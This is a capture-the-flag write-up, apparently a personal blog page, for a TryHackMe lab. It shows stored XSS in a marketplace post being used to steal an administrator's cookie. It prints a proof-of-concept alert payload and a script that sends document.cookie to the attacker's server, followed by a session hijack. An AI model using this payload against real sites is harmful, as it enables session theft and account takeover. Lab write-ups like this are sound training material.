> For the complete documentation index, see [llms.txt](https://morell-tony.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morell-tony.gitbook.io/home/capture-the-flag/tryhackme/thm-overview/the-marketplace.md).

# The Marketplace

{% embed url="<https://tryhackme.com/room/marketplace>" %}

This box represents a marketplace for users to post and sell items on a market.

### Flag 1

For the first part of the engagement, I looked around the webpage and quickly knew that the webpage was not that secure. I found that there was an admin report button that has automated accounts with administrator rights check when a posting is reported to see if its is appropriate for the marketplace.&#x20;

With that in mind, I checked some of the posts and reported them. Although nothing too exciting happened, I thought if I could create a post and report it myself maybe the admins could share some information. Within the post creations, there is a **persistent XSS vulnerability**. I verified this by using the classic example

```
<script>alert(1);</script>
```

Once a user clicked on the post, that alert popped up.&#x20;

I decided to run a web server from my attacker machine and craft this payload for a new posting on the website.

```
<script>fetch("http://<IP>:8000/"+document.cookie)</script>
```

Once that was posted inside a listing, I reported the listing and the attacker server would receive the administrator cookie.

![](/files/bRu95RAEWJlAoERe4qPP)

I would then replace my cookie with the administrator cookie, refresh the page and I am then an admin.

![](/files/aiUELT5AHu4LrGwxXF7S)


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